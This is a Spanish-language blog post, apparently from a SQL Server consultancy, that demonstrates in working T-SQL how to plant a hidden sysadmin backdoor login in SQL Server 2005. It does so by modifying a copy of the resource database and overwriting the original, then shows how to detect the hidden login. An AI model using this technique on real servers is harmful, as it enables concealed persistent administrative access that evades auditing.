En un post anterior hablamos sobre la merma de seguridad que los rootkits o las modificaciones que un ex administrador puede dejar ocultas en nuestro sistema SQL 2000. En SQL Server 2000 vimos que la protección para la modificación de objetos de sistema es bastante básica pues simplemente tenemos que habilitar la opción «allow updates» con sp_configure para poder modificarlos a nuestro antojo. En SQL Server 2005 Microsoft modificó muy sustancialmente el almacenamiento de dichos objetos de sistema, pasando a pertenecer a una base de datos oculta llamada mssqlsystemresource. Podemos detectar su presencia al ver los dicheros de datos y de log de dicha base de datos en el directorio DATA de la instancia en SQL Server 2005 :

Sin embargo no es posible detectar directamente la presencia de dichas bases de datos con una consulta a sys.databases por ejemplo. El motivo es que la propia vista sys.databases filtra dicha base de datos como una forma de protección por ofuscamiento. Para ver qué posibilidades de modificación tenemos en 2005 vamos a montar una copia de la base de datos resources. Para ello necesitaremos habilitar la conexión DAC (Dedicated Administrator Conection):

sp_configure ‘remote admin connections’,1

reconfigure

Una vez habilitada, abriremos una nueva consulta con Management Studio utilizando la DAC indicando como nombre de servidor «ADMIN:nombre_serverinstancia»:

El siguiente paso será crearnos una copia de los ficheros de la base de datos de recursos y con esta nueva conexión administrativa crearemos una nueva base de datos con los nuevos ficheros:

CREATE DATABASE [copy of mssqlsystemresource]

ON

(FILENAME =

C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLDataCopy of mssqlsystemresource.mdf’),

(FILENAME =

C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLDataCopy of mssqlsystemresource.ldf’)

FOR ATTACH

Si todo ha ido bien tendremos la nueva base de datos disponible lo cual podemos comprobarlo por ejemplo en la tabla sysdbreg que nos mostrará todas las bases de datos reales (incluyendo las que nos oculta sys.databases):

select * from master.sys.sysdbreg

Si la base de datos recién creada nos aparece en modo solo lectura, cambiaremos a modo lectura escritura:

sp_dboption ‘copy of mssqlsystemresource’,‘Read_Only’,‘false’

Como ejemplo de tampering vamos a modificar la vista sys.server_principals para ocultar un login sysadmin que nos crearemos como puerta trasera. La definición de la vista es la siguiente:

ALTER VIEW [sys].[server_principals] AS

    SELECT p.name,

        p.id AS principal_id,

        p.sid, p.type,

        n.name AS type_desc,

        is_disabled = sysconv(bit, p.status & 0x80),

        p.crdate AS create_date,

        p.modate AS modify_date,

        p.dbname AS default_database_name,

        p.lang AS default_language_name,

        r.indepid AS credential_id

    FROM master.sys.sysxlgns p

    LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type

    LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0    — SRC_LOGIN_CREDENTIAL

    WHERE has_access(‘LG’, p.id) = 1

        AND p.type <> ‘M’ — exclude component logins

 

GO

 

Si intentamos ejecutar el ALTER mostrado, obtendremos un error diciendo que se desconoce la función «sysconv» y «has_access». Esto es debido a que son funciones que únicamente son accesibles a nivel interno, no están dentro de la gramática TSQL estándar, y el parser no nos permite crearlas. Por tanto el sysconv lo cambiaremos por un convert mientras que la función has_access la eliminaremos directamente de la consulta. Para rematar la faena ocultaremos el principal con nombre «MiSA» que será nuestro usuario SA oculto:

ALTER VIEW [sys].[server_principals] AS

    SELECT p.name,

        p.id AS principal_id,

        p.sid, p.type,

        n.name AS type_desc,

        is_disabled = convert(bit, p.status & 0x80),

        p.crdate AS create_date,

        p.modate AS modify_date,

        p.dbname AS default_database_name,

        p.lang AS default_language_name,

        r.indepid AS credential_id

    FROM master.sys.sysxlgns p

    LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type

    LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0    — SRC_LOGIN_CREDENTIAL

    WHERE –has_access(‘LG’,p.id)=1

        p.type <> ‘M’ — exclude component logins

        AND p.name <> ‘MiSA’

 

GO

Una vez introducida la DMV crearemos el usuario MiSA como sysadmin:

CREATE LOGIN [MiSA] WITH PASSWORD=N’Pa$$w0rd’, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

EXEC master..sp_addsrvrolemember @loginame = N’MiSA’, @rolename = N’sysadmin’

 

Si anteriormente hemos cambiado la base de datos desde un estado de solo lectura volveremos a dejarla tal y como estaba:

sp_dboption ‘copy of mssqlsystemresource’,‘Read_Only’,‘true’

Una vez hecho esto, haremos un detach de la copia de la nueva base de datos de recursos, detendremos el servicio SQL Server, machacaremos los ficheros de la base de datos mssqlsystemresource con los que hemos modificado y volveremos a arrancar el servicio. A continuación nos conectaremos con nuestro usuario MiSA y podemos ver cómo desde Management Studio no nos aparece nuestro login:

Tampoco nos aparecerá en las vistas más habituales:

select count(*) from sys.server_principals where name =‘MiSA’

select count(*) from sys.syslogins where name =‘MiSA’

select count(*) from syslogins where name =‘MiSA’

Tampoco dentro de los usuarios que se muestran como sysadmin:

¿Cómo podemos detecta su presencia? Pues accediendo de nuevo mediante la DAC y consultando directamente la tabla base:

select * from master.sys.sysxlgns

where name = ‘MiSA’

En conclusión, aunque SQL Server 2005 va más allá en la seguridad de SQL 2000 aún sigue siendo relativamente sencillo el realizar modificaciones potencialmente peligrosas. En un próximo post analizaremos si esta técnica es factible contra SQL Server 2008 J

 

Rubén Garrigós

Mentor at SolidQ
I am an expert in high-availability enterprise solutions based on SQL Server design, tuning, and troubleshooting. Over the past fifteen years, I have worked with Microsoft data access technologies in leading companies around the world.

Nowadays, I am a Microsoft SQL Server and .NET applications architect with SolidQ. I am certified by Microsoft as a Solution Expert on the Microsoft Data Platform (MSCE: Data Platform) and as a Solution Expert on the Microsoft Private Cloud (MSCE: Private Cloud). As a Microsoft Certified Trainer (MCT), I have taught multiple official Microsoft courses as well as other courses specializing in SQL Server. I have also presented sessions at official events for various Microsoft technologies user groups.
Rubén Garrigós

Latest posts by Rubén Garrigós (see all)